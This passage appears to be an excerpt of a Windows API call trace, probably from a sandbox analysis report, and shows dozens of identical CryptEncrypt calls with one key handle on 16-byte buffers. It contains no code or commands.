CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.712] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.713] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.714] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.715] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0092.716] CryptEncrypt (in: 